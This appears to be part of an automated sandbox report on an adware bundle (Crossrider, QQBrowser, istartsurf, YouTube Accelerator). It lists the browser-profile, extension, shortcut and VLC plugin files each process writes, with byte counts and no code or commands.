C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a44652bba26d8d3de94701ea1995c7ea.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\be1c028528685b5d619398934981911e.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ea52aee1bef8f2b995906e159a4e0928.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fd5e2e93b4e520749386f613060a61de.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8e507ea450a4cfeefdd8835e63189cc1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f9e7ff2ba67363db308719775ec8dcd9.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a6804bd40d7e61d63e1d40265f84a336.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\df027d2ba387f776a1f223ed1e63cab2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f614c5f129f2d52c7f9c1bb7cbc9ddd0.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a05e0af7a69c234cc5d427c5d3cdc3a6.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\20ad0477a7552dbdc57acc33eee82a04.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1423e41f87f0ae133acac16c256524a1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3d955622fb602996aac540847392d179.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e7462d2036774173df7a007ee24a0091.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\cf2ff26f1bd291f4fcc34b282ab330fc.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6c25ca5f9b923eec942a63b0414e0aea.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)

The process ins_yta.exe:1056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBC522.tmp (144 bytes)

The process QQBrowser.exe:1524 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2AE8.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\index.html (4 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2B08.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\remoterequest.js (2 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2AC8.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\vi\locale.properties (2 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2A98.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\settings.js (5 bytes)

The process QQBrowser.exe:3536 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\474.db (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\wpm_v20.0.0.1953_0302.exe (988 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\XTab_Setup2121.exe (148 bytes)

The process testlsp.exe:3112 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3112.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3112_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3112_testlsp.log (125651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3112_testlsp.log (150 bytes)

The process vlc-cache-gen.exe:3092 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (462 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (163 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (221 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.3092 (135036 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (274 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (229 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (802 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (77 bytes)
